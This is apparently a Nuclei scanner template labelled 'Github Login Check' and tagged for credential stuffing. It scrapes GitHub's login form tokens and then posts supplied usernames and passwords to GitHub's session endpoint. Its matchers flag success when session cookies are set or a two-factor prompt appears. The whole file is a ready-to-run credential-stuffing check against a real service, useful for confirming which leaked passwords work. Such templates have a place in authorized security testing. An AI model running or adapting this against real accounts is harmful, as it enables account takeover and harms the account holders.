github-login-check: Github Login Check

id: github-login-check

info:
  name: Github Login Check
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid github account.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  metadata:
    max-request: 2
  tags: cloud,creds-stuffing,login-check,github,vuln

self-contained: true

http:
  - raw:
      - |
        GET https://github.com/login HTTP/1.1
        Host: github.com
      - |
        POST https://github.com/session HTTP/1.1
        Host: github.com
        Origin: https://github.com
        Content-Type: application/x-www-form-urlencoded
        Referer: https://github.com/login

        commit=Sign+in&authenticity_token={{authenticity_token}}&login={{username}}&password={{password}}&trusted_device=&webauthn-support=supported&webauthn-iuvpaa-support=unsupported&return_to=https%3A%2F%2Fgithub.com%2Flogin&allow_signup=&client_id=&integration=&required_field_34b7=&timestamp={{timestamp}}&timestamp_secret={{timestamp_secret}}

    extractors:
      - type: xpath
        name: authenticity_token
        part: body
        attribute: value
        internal: true
        xpath:
          - /html/body/div[3]/main/div/div[4]/form/input[1]

      - type: xpath
        name: timestamp
        part: body
        attribute: value
        internal: true
        xpath:
          - /html/body/div[3]/main/div/div[4]/form/div/input[10]

      - type: xpath
        name: timestamp_secret
        part: body
        attribute: value
        internal: true
        xpath:
          - /html/body/div[3]/main/div/div[4]/form/div/input[11]

      - type: dsl
        dsl:
          - username
          - password

    matchers-condition: or
    matchers:
      - type: dsl
        name: 2fa
        dsl:
          - "contains(location, 'https://github.com/sessions/two-factor')"
          - "status_code==302"
        condition: and

      - type: dsl
        dsl:
          - "contains(to_lower(header), 'set-cookie: logged_in=yes')"
          - "contains(to_lower(header), 'set-cookie: user_session=')"
          - "status_code==302"
        condition: and
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